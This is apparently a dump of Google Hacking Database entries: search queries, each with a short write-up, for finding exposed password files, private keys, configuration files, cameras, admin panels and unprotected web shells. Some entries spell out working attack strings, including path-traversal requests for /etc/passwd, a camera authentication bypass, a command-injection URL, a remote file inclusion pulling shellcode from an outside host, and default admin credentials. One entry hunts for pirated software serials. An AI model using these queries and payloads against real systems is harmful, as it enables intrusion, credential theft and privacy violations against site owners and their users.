"ttawlogin.cgi/?action="	"ttawlogin.cgi/?action="	Tarantella is a family of enterprise-class secure remote access software products. This Google-dork lists the login page for remote access to either the site server or another server within the target company. Tarantella also has a few security issues for a list of possible things that a malicous user could try to do, have a look at - http://www.tarantella.com/security/index.html An example of a malicous user

		could try is http://www.tarantella.com/security/bulletin-03.html the exploit isn't included in the User-Notice, but I've worked it out to be something like install directory/ttawebtop.cgi/?action=start&pg=../../../../../../../../../../../../../../etc/passwd
Axis Network Cameras	inurl:indexFrame.shtml Axis	The AXIS 2400 is a Web server of its own. This means that the server is secured like any other Internet host. It is up to the network manager to restrict access to the AXIS Web Cameras camera server. AXIS Network cams have a cam control page called indexFrame.shtml wich can easily be found by searching Google. An attacker can look for the ADMIN button and try the default passwords found in the documentation. An attacker may also find that the directories are browsable. Additional security related information was found on the Internet.Securityfocus(www.securityfocus.com):----------"It has been reported that the Axis Video Servers do not properly handle input to the 'command.cgi' script. Because of this, an attacker may be able to create arbitrary files that would result in a denial of service, or potentially command execution." Core Security Technologies Advisory (http://www.coresecurity.com):----------"We have discovered the following security vulnerability: by accessing http://camera-ip//admin/admin.shtml (notice the double slash) the authentication for "admin" is bypassed and an attacker gains direct access to the configuration.
POWERED BY HIT JAMMER	POWERED BY HIT JAMMER 1.0!	Hit Jammer is a Unix compatible script that allows you to manage the content

1.0!		and traffic exchange and make web changes, all without needing HTML. It is typicaly used by the underground sites on the Net who "pay for surfing ads" and advertise spam services or software.An attacker can find these sites by searching for the typical "powered by hit jammer !" frase on the bottom of the main page. Then if he changes the URL to www.target.com/admin/admin.php he is taken to the admin panel. Hit Jammer administrators are warned to protect this page with the .htaccess logon procedure, but many fail to do just that. In such cases, customer information like email addresses and passwords are in clear view of the attacker. Since human beings often use one simple password for many things this is a very dangerous practice.
94FBR "ADOBE PHOTOSHOP"	94FBR "ADOBE PHOTOSHOP"	94FBR is part of many serials. An malicious user would only have to change the programm name (photoshop in this example) in this search to find a perfectly valid serial.Other values to look for are: GC6J3. GTQ62. FP876. D3DX8.
inurl:zebra.conf intext:password -sample -test -tutorial -download	inurl:zebra.conf intext:password -sample -test -tutorial -download	GNU Zebra is free software that manages TCP/IP based routing protocols. It supports BGP-4 protocol as well as RIPv1, RIPv2 and OSPFv2.The zebra.conf uses the same format as the cisco config files. There is an enable password (plain text or encrypted) and ipv6 tunnel definitions, hostnames, ethernet interface names, ip routing information, etc.
inurl:ospfd.conf intext:password -sample -test -tutorial -download	inurl:ospfd.conf intext:password -sample -test -tutorial -download	GNU Zebra is free software that manages TCP/IP based routing protocols. It supports BGP-4 protocol as well as RIPv1, RIPv2 and OSPFv2.The ospfd.conf uses the same format as the cisco config files. There is an enable password (plain text or

		encrypted) and ipv6 tunnel definitions, hostnames, ethernet interface names, ip routing information, etc.
intitle:"Index of /" modified php.exe	intitle:"Index of /" modified php.exe	PHP installed as a cgi-bin on a Windows Apache server will allow an attacker to view arbitrary files on the hard disk, for example by requesting "/php/php.exe?c:\boot.ini."
inurl:ccbill filetype:log	inurl:ccbill filetype:log	CCBill.com sells E-tickets to online entertainment and subscription-based websites. CCBill.com gives consumers access to the hottest entertainment sites on the World Wide Web. The word "hot" in this context seems apropriate when considering the type of sites that use e-tickets :)CCBill log files contain usernames and password information, but are protected with DES encryption. An attacker can crack these using the information provided on this site: http://www.jaddo.net/forums/index.php?&act=ST&f=19&t=4242.
filetype:mdb inurl:users.mdb	filetype:mdb inurl:users.mdb	Everyone has this problem, we need to remember many passwords to access the resources we use. Some believe it is a good solution to use Microsoft Access as a password database..An attacker can find and download those mdb files easily with Google. This search tries to find such "user" databases. Some are password protected, many are not. Weee!
intitle:"Error using Hypernews" "Server Software"	intitle:"Error using Hypernews" "Server Software"	HyperNews is a cross between the WWW and Usenet News. Readers can browse through the messages written by other people and reply to those messages. This search reveals the server software, server os, server account user:group (unix), and the server administrator email address. Many of these messages also include a traceback of the files and linenumbers and a listing of the cgi ENV variables. An attacker can use this information to prepare an attack either on the platform

		or the script files.
filetype:cfg ks intext:rootpw -sample -test -howto	filetype:cfg ks intext:rootpw -sample -test -howto	Anaconda is a linux configuration tool like yast on suse linux. The root password is often encrypted - like md5 or read from the shadow. Sometimes an attacker can also get a cleartext password.There are more ks configs then you might expect and with a bit of searching through the result list an attacker can find the root password and own that system.
filetype:php inurl:"viewfile" -"index.php" -"idfil	filetype:php inurl:"viewfile" -"index.php" -"idfil	Programmers do strange things sometimes and forget about security. This search is the perfect example. These php scripts are written for viewing files in the web directory (e.g. ww.XXX.com/viewfile.php?my_howto.txt --> will show you the my_howto.txt).An attacker can check for buggy php scripts wich allow you to view any file on the system (with webservers permissions). Try the good, old directory traversal trick: "../../../". You have to know the filename and location, but that's not a big problem (/etc/passwd anyone ?).
allinurl:".nsconfig" -sample -howto -tutorial	allinurl:".nsconfig" -sample -howto -tutorial	Access to a Web server's content, CGI scripts, and configuration files is controlled by entries in an access file. On Apache and NCSA Web servers the file is .htaccess, on Netscape servers it is .nsconfig.These files associate users, groups, and IP addresses with various levels of permissions: GET (read), POST (execute), PUT (write), and DELETE. For example, a FrontPage author would have permission to use HTTP POST commands (to save new content), and a user with browse permissions would be permitted to use HTTP GET commands (to read content).
Outlook Web Access (a better way)	inurl:"exchange/logon.asp" OR intitle:"Microsoft Outlook Web Access - Logon"	According to Microsoft "Microsoft (R) Outlook (TM) Web Access is a Microsoft Exchange Active Server

		Application that gives you private access to your Microsoft Outlook or Microsoft Exchange personal e-mail account so that you can view your Inbox from any Web Browser. It also allows you to view Exchange server public folders and the Address Book from the World Wide Web. Anyone can post messages anonymously to public folders or search for users in the Address Book. " Now, consider for a moment and you will understand why this could be potentially bad.
OWA Public folders & Address book	inurl:root.asp?acs=anon	This search jumps right to the main page of Outlook Web Access Public Folders and the Exchange Address Book:.An attacker can use the addressbook to enumerate usernames anonymously without having to logon. These usernames can then be used to guess the mailbox passwords. An attacker can also browse the public folders to gather extra information about the organisation.
Looking Glass	"Looking Glass" (inurl:"lg/" | inurl:lookingglass)	A Looking Glass is a CGI script for viewing results of simple queries executed on remote routers. There are many Looking Glass sites all over the world. Some are password protected, many are not.An attacker use this to gather information about the network.
CGI:IRC Login	filetype:cgi inurl:"irc.cgi" | intitle:"CGI:IRC Login"	CGIIRC is a web-based IRC client. Using a non-transparent proxy an attacker could communicate anonymously by sending direct messages to a contact. Most servers are restricted to one irc server and one or more default channels and will not let allow access to anything else.
filetype:ctt ctt messenger	filetype:ctt ctt messenger	MSN Messenger uses the file extension *.ctt when you export the contact list. An attacker could use this for social enginering tricks.
intitle:"Error	intitle:"Error Occurred While	Cold fusion error messages logging the

Occurred While Processing Request" +WHERE (SELECT|INSERT) filetype:cfm	Processing Request"	SQL SELECT or INSERT statements and the location of the .cfm file on the webserver.An attacker could use this information to quickly find SQL injection points.
ht://Dig htsearch error	intitle:"htsearch error" ht://Dig error	The ht://Dig system is a complete world wide web indexing and searching system for a domain or intranet. A list of publically available sites that use ht://Dig is available at http://www.htdig.org/uses.htmlht://Dig 3.1.1 - 3.2 has a directory traversal and file view vulnerability as described at http://www.securityfocus.com/bid/1026. Attackers can read arbitrary files on the system. If the system is not vulnerable, attackers can still use the error produced by this search to gather information such as administrative email, validation of a cgi-bin executable directory, directory structure, location of a search database file and possible naming conventions.
VP-ASP Shopping Cart XSS	filetype:asp inurl:"shopdisplayproducts.asp"	VP-ASP (Virtual Programming - ASP) has won awards both in the US and France. It is now in use in over 70 countries. VP-ASP can be used to build any type of Internet shop and sell anything.According to http://www.securityfocus.com/bid/9164/discussion/ a vulnerability has been reported to exist in VP-ASP software that may allow a remote user to launch cross-site scripting attacks. A remote attacker may exploit this issue to potentially execute HTML or script code in the security context of the vulnerable site.The vendor has released fixes to address this issue. It is reported that the fixes are applied to VP-ASP 5.0 as of February 2004. An attacker could also search Google for intitle:"VP-ASP Shopping Cart *" -"5.0" to find unpatched servers.

Unreal IRCd	filetype:conf inurl:unrealircd.conf -cvs -gentoo	Development of UnrealIRCd began in 1999. Unreal was created from the Dreamforge IRCd that was formerly used by the DALnet IRC Network and is designed to be an advanced IRCd. Unreal can run on several operating systems. Unreal works on most *nix OSes including Linux, BSD, MacOS X, Solaris, and HP-UX. Unreal also works on Windows (95/98/ME NT4/2K/XP/2003).This search finds configuration files to Unreal IRCd. An attacker can use these to possibly determine the oper passwd. Be warned that there are samples in the results.
OWA Public Folders (direct view)	inurl:/public/?Cmd=contents	This search looks for Outlook Web Access Public Folders directly. These links open public folders or appointments. Of course there are more ways to find OWA, but the results from this search are different, it just depends which link Google has crawled.An attacker can often read all the messages anonymously or even post messages to the folders. In other cases a login will be required. This is a leak of confidential company information and may give hints for social enginering tricks.
VP-ASP Shop Administrators only	inurl:"shopadmin.asp" "Shop Administrators only"	VP-ASP (Virtual Programming - ASP) has won awards both in the US and France. It is now in use in over 70 countries. VP-ASP can be used to build any type of Internet shop and sell anything.It has been reported that the Shopping Cart Administration script is vulnerable to XSS and SQJ injection, resulting in exposure of confidential customer information like credit card details. More information on this attack is available at http://securitytracker.com/alerts/2002/May/1004384.html
Microsoft Money Data Files	filetype:mny mny	Microsoft Money 2004 provides a way to organize and manage your personal

		finances (http://www.microsoft.com/money/). The default file extension for the 'Money Data Files' is *.mny.A free trial version can be downloaded from MS. It is reported that the password protection (linked to passport in the new versions) for these data files can be cracked with a program called "Passware".
Environment vars	HTTP_USER_AGENT=Googlebot	This is a generic way of grabbing those CGI-spewed environmental var lists. To narrow to things down, an attacker could use any of the following: SERVER_SIGNATURE, SERVER_SOFTWARE, TNS_ADMIN, DOCUMENT_ROOT, etc.
MySQL tabledata dumps	"# Dumping data for table (username|user|users|password)"	sQL database dumps. LOTS of data in these. So much data, infact, I'm pressed to think of what else an ev1l hax0r would like to know about a target database.. What's that? Usernames and passwords you say? Patience, grasshopper..... Note: this is a cleanup version of an older googledork entry.
Welcome to ntop!	intitle:"Welcome to ntop!"	Ntop shows the current network usage. It displays a list of hosts that are currently using the network and reports information concerning the IP (Internet Protocol) traffic generated by each host. An attacker may use this to gather information about hosts and services behind the firewall.
vBulletin version 3.0.1 newreply.php XSS	"Powered by: vBulletin * 3.0.1" inurl:newreply.php	vBulletin is a customizable forums package for web sites. It has been written in PHP and is complimented with MySQL. While a user is previewing the post, both newreply.php and newthread.php correctly sanitize the input in 'Preview', but not Edit-panel. Malicious code can be injected by an attacker through this flaw. More information at http://www.securityfocus.com/bid/10612/.

psyBNC config files	filetype:conf inurl:psybnc.conf "USER.PASS="	psyBNC is an IRC-Bouncer with many features. It compiles on Linux, FreeBSD, SunOs and Solaris. The configuration file for psyBNC is called psybnc.conf (duh).An attacker can use the password, host and portinformation in this file to bounce his IRC connection through these bouncers, providing some privacy or just to show off some fancy irc hostname that are usually linked to those IP addresses.
intitle:"View and Configure PhaserLink"	intitle:"View and Configure PhaserLink"	These printer's configuration is wide open. Attackers can change just about any value through this control panel. Take it from FX, printers can be dangerous too! Besides, a POP3 server, username and password can be entered into these things! =)
intext:"Warning: Failed opening" "on line" "include_path"	intext:"Warning: Failed opening" "on line" "include_path"	These error messages reveal information about the application that created them as well as revealing path names, php file names, line numbers and include paths.
filetype:php inurl:"webeditor.php"	filetype:php inurl:"webeditor.php"	This is a standard login portal for the webadmin program.
Panasonic Network Cameras	inurl:"ViewerFrame?Mode="	Panasonic Network Cameras can be viewed and controlled from a standard web browser. These cameras can be placed anywhere to keep an eye on things, with no PC required on the location. Check for more information: http://www.panasonic.com/netcam/There is a htaccess protected admin page at "http://[target-ip]/config.html" on the target device. Admin logins have no defaults, but created during setup.
sony SNC-RZ30 Network Cameras	sNC-RZ30 HOME	sony NC RZ30 camera's require a java capable browser. The admin panel is found at http://[sitename]/home/l4/admin.html.
sony SNC-RZ20 network cameras	intitle:snc-z20 inurl:home/	sony NC RZ20 cameras, only one result for this cam at the moment, a nice street view from a skyscraper.

Mobotix netcams	(intext:"MOBOTIX M1" | intext:"MOBOTIX M10") intext:"Open Menu" Shift-Reload	Mobotix netcams use the thttpd-2.x. server (http://www.acme.com/software/thttpd/). The latest version today is 2.25b, but most cams run older versions. They produce a rather nice image quality.Moderator note: this search was found by L0om and cleaned up by Wolveso.
Panasonic WJ-NT104 netcams	intitle:"WJ-NT104 Main Page"	The Panasonic WJ-NT104 allows easy monitoring with a conventional browser. More vendor information is available at hxxp://www.panasonic.ca/English/Broadcast/security/transmission/wjnt104.asp
exported email addresses	e-mail address filetype:csv csv	Loads of user information including email addresses exported in comma separated file format (.cvs). This information may not lead directly to an attack, but most certainly counts as a serious privacy violation.
phpWebMail	filetype:php login (intitle:phpWebMail|WebMail)	PhpWebMail is a php webmail system that supports imap or pop3. It has been reported that PHPwebmail 2.3 is vulnerable. The vulnerability allows phpwebmail users to gain access to arbitrary file system by changing the parameters in the URL used for sending mail (send_mail.php). More info at http://eagle.kecapi.com/sec/fd/phpwebmail.html.
Invision Power Board SSI.PHP SQL Injection	"Powered by Invision Power Board(U) v1.3 Final"	Invision Power Board is reported prone to an SQL injection vulnerability in its ssi.php script. Due to improper filtering of user supplied data, ssi.php is exploitable by attackers to pass SQL statements to the underlying database. The impact of this vulnerability depends on the underlying database. It may be possible to corrupt/read sensitive data, execute commands/procedures on the database server or possibly exploit

		vulnerabilities in the database itself through this condition. Version 1.3.1 Final of Invision Power Board is reported vulnerable. Other versions may also be affected as well.More info: http://www.securityfocus.com/bid/10511/info/
Analysis Console for Incident Databases	ACID "by Roman Danyliw" filetype:php	ACID stands for for "Analysis Console for Incident Databases". It is a php frontend for the snort intrusion detection system database.These pages can be used by attackers to view network attacks that have occurred against the target. Using this information, an attacker can craft an attack and glean network information including vulnerabilities, open ports, ip addresses, network layout, existance of firewall and IDS systems, and more.
Index of phpMyAdmin	intitle:"index of /phpmyadmin" modified	phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the Web. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields (http://sourceforge.net/projects/phpmyadmin/).An attacker can use this search to find phpMyAdmin enabled MySQL servers by using the "index of /" method. Consider this an alternative way an attacker could find them besides the older Googledorks for phpMyAdmin.
Comersus.mdb database	inurl:"/database/comersus.mdb"	Comersus is an e-commerce system and has been installed all over the world in more than 20000 sites. Using Comersus does not require that you know any programming language. BackOffice+ allows you to define virtually all properties of your on-line store through an intuitive, point-&-click interface.This search goes directly for one of the MS Access files used by the shopping cart. Searching Google

		and the well know security sites for Comersus reveals more security problems.
Public PHP FileManagers	"Powered by PHPFM" filetype:php -username	PHPFM is an open source file manager written in PHP. It is easy to set up for a beginner, but still easy to customize for the more experienced user. The built-in login system makes sure that only people with the right username and password gains access to PHPFM, however, you can also choose to disable the login system and use PHPFM for public access. It can currently: create, rename and delete folders; create, upload, rename, download and delete files; edit text files; view image files; sort files by name, size, permissions and last modification date both ascending and descending; communicate in more languages. This search finds those "public" versions of PHPFM. An attacker can use them to manage his own files (phpshell anyone ?).PS: thanks to j0hnny for the public access angle :)
private key files (.key)	BEGIN (CERTIFICATE|DSA|RSA) filetype:key	This search will find private key files... Private key files are supposed to be, well... private.
inurl:explorer.cfm inurl:(dirpath|This_Directory)	inurl:explorer.cfm inurl:(dirpath|This_Directory)	Filemanager without authentication.
private key files (.csr)	BEGIN (CERTIFICATE|DSA|RSA) filetype:csr	This search will find private key files... Private key files are supposed to be, well... private.
PHP Shell (unprotected)	intitle:"PHP Shell *" "Enable stderr" filetype:php	PHP Shell is a shell wrapped in a PHP script. It's a tool you can use to execute arbiritary shell-commands or browse the filesystem on your remote Web server. This replaces, to a degree, a normal telnet-connection. You can use it for administration and maintenance of your Web site using commands like ps, free, du, df, and more.If these shells

		aren't protected by some form of authentication, an attacker will basicly *own* the server. This search finds such unprotected phpshells by looking for the keyword "enable stderr".
NickServ registration passwords	"Your password is * Remember this for later use"	NickServ allows you to "register" a nickname (on some IRC networks) and prevent others from using it. Some channels also require you to use a registered nickname to join.This search contains the the nickserv response message to a nick registration. Lots of example sites, but some that aren't... you can see which ones are fake or not in the search (some are like, your_password, while other are more realistic ones).
Red Hat Unix Administration	intitle:"Page rev */*/*" inurl:"admin	Red Hat UNIX Administration Pages. This search detects the fixed title for the admin pages on certain Red Hat servers. A login is required to access them, but an attacker could use this search to determine the operating system used by the server.
inurl:ssl.conf filetype:conf	inurl:ssl.conf filetype:conf	The information contained in these files depends on the actual file itself. SSL.conf files contain port numbers, ssl data, full path names, logging information, location of authentication files, and more. Other conf files based on this name may contain similar information. Attackers can use this information against a target in various ways.
PHP application warnings failing "include_path"	PHP application warnings failing "include_path"	These error messages reveal information about the application that created them as well as revealing path names, php file names, line numbers and include paths.PS: thanks to fr0zen for correcting the google link for this dork (murfie, 24 jan 2006).
"Internal Server Error" "server at"	"Internal Server Error" "server at"	We have a similar search already, but it relies on "500 Internal Server" which doesn't appear on all errors like this

		one. It reveals the server administrator's email address, as well as a nice server banner for Apache servers. As a bonus, the webmaster may have posted this error on a forum which may reveal (parts of) the source code.
inurl:lilo.conf filetype:conf password -tatercounter2000 -bootpwd -man	inurl:lilo.conf filetype:conf password -tatercounter2000 -bootpwd -man	LILO is a general purpose boot manager that can be used to boot multiple operating systems, including Linux. The normal configuration file is located in /etc/lilo.conf. Each bootable image can be protected by a password if needed. Please note that all searches for configuration files will contain at least some false positives.
filetype:php inurl:"logging.php" "Discuz" error	filetype:php inurl:"logging.php" "Discuz" error	Discuz! Board error messages related to MySQL. The error message may be empty or contain path information or the offending SQL statement. All discuz! board errors seem to be logged by this php file.An attacker can use this to reveal parts of the database and possibly launch a SQL attack (by filtering this search including SELECT or INSERT statements).
intitle:"Microsoft Site Server Analysis"	intitle:"Microsoft Site Server Analysis"	Microsoft discontinued Site Server and Site Server Commerce Edition on June 1, 2001 with the increasing adoption of its successor, Microsoft Commerce Server 2000 Server and Microsoft Commerce Server 2002. There are still some installations online however. An attacker may use these reports to gather information about the directory structure and possibly identify script files.
intitle:"Index of" passwords modified	intitle:"Index of" passwords modified	These directories are named "password." I wonder what you might find in here. Warning: sometimes p0rn sites make directories on servers with directories named "password" and single html files inside named things liks "horny.htm" or "brittany.htm." These are to boost their search results.

		Don't click them (unless you want to be buried in an avalanche of p0rn...Moderator note: This is a cleanup of a previous googledork, improving the results by using "intitle" and an extra keyword from the index page (in this case modified).
index.of.password	index.of.password	These directories are named "password." I wonder what you might find in here. Warning: sometimes p0rn sites make directories on servers with directories named "password" and single html files inside named things liks "horny.htm" or "brittany.htm." These are to boost their search results. Don't click them (unless you want to be buried in an avalanche of p0rn...Moderator note: This googledork has expired ! See also:http://johnny.ihackstuff.com/index.php?module=ProdReviews&func=showcontent&id=380
"powered by webcamXP" "Pro|Broadcast"	"powered by webcamXP" "Pro|Broadcast"	webcamXP PRO:http://www.webcamxp.com/productsadv.htmlThis is the most advanced version of the software. It has all the features of the other versions (including advanced users management, motion detector, and alerts manager) plus remote administration and external server notification when going offline/online.
"powered by sphider" -exploit -ihackstuff -www.cs.ioc.ee	"powered by sphider" -exploit -ihackstuff -www.cs.ioc.ee	dork: "powered by sphider" a vulnerable search engine script arbitrary remote inclusion, poc: http://[target]/[path]/admin/configset.php?cmd=ls%20-la&settings_dir=http://somehost.com where on somehost.com you have a shellcode in /conf.php/index.html references:http://retrogod.altervista.org/sphider_13_xpl_pl.htmlhttp://secunia.com/advisories/19642/
"by Reimar Hoven. All Rights	"by Reimar Hoven. All Rights Reserved. Disclaimer" |	dork: "by Reimar Hoven. All Rights Reserved. Disclaimer" |

Reserved. Disclaimer" | inurl:"log/logdb.dta"	inurl:"log/logdb.dta"	inurl:"log/logdb.dta" this is for PHP Web Statistik script, you can go to: http://[target]/[path_to]/log/logdb.dta to see clear text logs
"ORA-12541: TNS:no listener" intitle:"error occurred"	"ORA-12541: TNS:no listener" intitle:"error occurred"	In many cases, these pages display nice bits of SQL code which can be used by an attacker to mount attacks against the SQL database itself. Other pieces of information revealed include path names, file names, and data sources.
"sets mode: +p"	"sets mode: +p"	This search reveals private channels on IRC as revealed by IRC chat logs.
"sets mode: +k"	"sets mode: +k"	This search reveals channel keys (passwords) on IRC as revealed from IRC chat logs.
"sets mode: +s"	"sets mode: +s"	This search reveals secret channels on IRC as revealed by IRC chat logs.
intitle:"BorderManager Information alert"	intitle:"BorderManager Information alert"	This is an Informational message produced by the Novell BorderManager firewall/proxy server. Attackers can located perimeter defence systems with this query.
"AnWeb/1.42h" intitle:index.of	"AnWeb/1.42h" intitle:index.of	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"CERN httpd 3.0B (VAX VMS)"	"CERN httpd 3.0B (VAX VMS)"	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"JRun Web Server" intitle:index.of	"JRun Web Server" intitle:index.of	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another

		layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"MaXX/3.1" intitle:index.of	"MaXX/3.1" intitle:index.of	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"Microsoft-IIS/* server at" intitle:index.of	"Microsoft-IIS/* server at" intitle:index.of	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"Microsoft-IIS/4.0" intitle:index.of	"Microsoft-IIS/4.0" intitle:index.of	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"Microsoft-IIS/5.0 server at"	"Microsoft-IIS/5.0 server at"	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"Microsoft-IIS/6.0" intitle:index.of	"Microsoft-IIS/6.0" intitle:index.of	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"OmniHTTPd/2.1	"OmniHTTPd/2.10" intitle:index.of	The version of a particular web server

0" intitle:index.of		can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"OpenSA/1.0.4" intitle:index.of	"OpenSA/1.0.4" intitle:index.of	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"Red Hat Secure/2.0"	"Red Hat Secure/2.0"	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"Red Hat Secure/3.0 server at"	"Red Hat Secure/3.0 server at"	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
sEDWebserver * server +at intitle:index.of	sEDWebserver * server +at intitle:index.of	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
fitweb-wwws * server at intitle:index.of	fitweb-wwws * server at intitle:index.of	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another

		layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
"httpd+ssl/kttd" * server at intitle:index.of	"httpd+ssl/kttd" * server at intitle:index.of	The version of a particular web server can be detected with a simple query like this one. Although the same thing can be accomplished by browsing the web site, this method offers another layer of anonymity. Armed with this information an attacker can plan an attack with more precision.
Xerox Phaser 6250	"Phaser 6250" "Printer Neighborhood" "XEROX CORPORATION"	Base Specifications Phaser 6250N: Letter/Legal Size Color Printer 110V, 26ppm Color/B&W (24ppm A4 Color/B&W), 2400dpi, 700MHz Processor, Ethernet, 256MB Memory, Photo Quality Mode, Network Feature SetPassword not allways needed it seems, depends on admin setup..
"index of" / picasa.ini	"index of" / picasa.ini	Picasa is an 'Automated Digital Photo Organizer' recently aquired by Google. This search allows the voyer to browse directories of photos uploaded using the picasa software.
"adding new user" inurl:addnewuser -"there are no domains"	"adding new user" inurl:addnewuser -"there are no domains"	Allows an attacker to create an account on a server running Argosoft mail server pro for windows with unlimited disk quota (but a 5mb per message limit should you use your account to send mail).
intitle:"index of" +myd size	intitle:"index of" +myd size	The MySQL data directory uses subdirectories for each database and common files for table storage. These files have extensions like: .myd, .myi or .frm. An attacker can copy these files to his machine and using a tool like 'strings' possibly view the contents of the database.
filetype:cnf my.cnf -cvs -example	filetype:cnf my.cnf -cvs -example	The MySQL database system uses my.cnf files for configuration. It can include a lot of information, ranging from pathes, databasenames up to passwords and usernames.Beware this search still gives false positives

		(examples, templates).
("Indexed.By"|"Monitored.By") hAcxFtpScan	("Indexed.By"|"Monitored.By") hAcxFtpScan	hAcxFtpScan - software that use 'l33t h@x0rz' to monitor their file stroz on ftp. On the ftp server usualy it is a directory like:/Monitored.By.hAcxFtpScan//Indexed.By.hAcxFtpScan/These are tagged, hacked, rooted and filled servers, in wich pplz from forums or irc channels (in most cases, usuasly private) share filez (yes yes p2p suxz)And again thnxz goo 4 help us to find it.
inurl:email filetype:mdb	inurl:email filetype:mdb	Microsoft Access databases containing email information..
Powered by INDEXU	+"Powered by INDEXU" inurl:(browse|top_rated|power	From the sales department: "INDEXU is a portal solution software that allows you to build powerful Web Indexing Sites such as yahoo.com, google.com, and dmoz.org with ease. It's ability to allow you and your members to easily add, organize, and manage your links makes INDEXU the first choice of all webmasters."(Moderator note: don't believe the marketing talk..)Some of these servers are not protected well enough. It has been reported that on (rare) occosions this page ->http://[indexu server]/recovery_tools/create_admin_user.phpindicates admin login is possible by the appearance of three text lines:Create Administrator LoginDelete old administrator user ....okCreate new administrator user ....okAn attacker can then change the URL tohttp://[target]/admin/index.php and enter:user=adminpass=adminBut that's if you find them..
data filetype:mdb -site:gov -site:mil	data filetype:mdb -site:gov -site:mil	Microsoft Access databases containing all kinds of 'data'.
inurl:backup filetype:mdb	inurl:backup filetype:mdb	Microsoft Access database backups..
inurl:forum filetype:mdb	inurl:forum filetype:mdb	Microsoft Access databases containing 'forum' information ..

intitle:"Index Of" cookies.txt size	intitle:"Index Of" cookies.txt "size"	searches for cookies.txt file. On MANY servers this file holds all cookie information, which may include usernames, passwords, but also gives an attacker some juicy information on this users surfing habits.
intext:(password | passcode) intext:(username | userid | user) filetype:csv	intext:(password | passcode) intext:(username | userid | user) filetype:csv	CSV formatted files containing all sorts of user/password combinations. Results may vary, but are still interesting to the casual attacker..
inurl:profiles filetype:mdb	inurl:profiles filetype:mdb	Microsoft Access databases containing (user) profiles ..
filetype:cgi inurl:"Web_Store.cgi"	filetype:cgi inurl:"Web_Store.cgi"	Zero X reported that "Web_Store.cgi" allows Command Execution:This application was written by Selena Sol and Gunther Birznieks. You can execute shellcommands:http://[www.victim.com]/cgi-bin/web_store.cgi?page=.html|cat/etc/passwd|It is not know which version and has not (yet) been confirmed by the googledork forum members. That makes this search of limited use, but to an attacker it may be used as a starting point.
ASP.login_aspx "ASP.NET_SessionId"	ASP.login_aspx "ASP.NET_SessionId"	.NET based login pages serving the whole environment and process trace for your viewing pleasure.. These are often found on test servers, just before going online to the general public I guess. If the current page has no debugging information any longer, an attacker could still look at Google's cached version.
"ASP.NET_SessionId" "data source="	"ASP.NET_SessionId" "data source="	.NET pages revealing their datasource and sometimes the authentication credentials with it. The complete debug line looks something like this for example:strConn System.String Provider=sqloledb;Network Library=DBMSSOCN;Data Source=ch-sql-91;Initial

		Catalog=DBLive;User Id=login-orsearch;Password=0aX(v5~di)>S$+* For quick fun an attacker could modify this search to find those who use Microsoft Access as their storage: It will not suprise the experienced security digger that these files are often in a downloadeble location on the server.
"Novell, Inc" WEBACCESS Username Password "Version *.*" Copyright -inurl:help -guides|guide	"Novell, Inc" WEBACCESS Username Password "Version *.*" Copyright -inurl:help -guides|guide	This may be used to find Novell Grouwise Webaccess servers.
"# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd	ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-"	Frontpage.. very nice clean search results listing !!No further comments required..changelog:22 jan 2005: improved by vs1400 !
filetype:cgi inurl:"fileman.cgi"	filetype:cgi inurl:"fileman.cgi"	This brings up alot of insecure as well as secure filemanagers. These software solutions are often used by companies offering a "simple" but "cost effective" way to their users who don't know unix or html. There is a problem sometimes with this specific filemanager due to insecure use of the session ID that can be found in the unprotected "fileman.log" logfile. It has been reported that an attacker can abuse the last document-edit-url of the logfile. By copy pasting that line in a new window it gives the attacker valid user credentials on the server, at least for a while.. (think hours not seconds).
intitle:"Index Of" -inurl:maillog maillog size	intitle:"Index Of" -inurl:maillog maillog size	This google search reveals all maillog files within various directories on a webserver. This search brings back 872 results to-date, all of which contain various chunks of information (ie.

		Usernames, email adresses, Login/Logout times of users, IPAdresses, directories on the server ect. ect.)Someone, with this information could dig up info on the server before trying to penetrate it by finding usernames, and email adresses of accounts on the server.
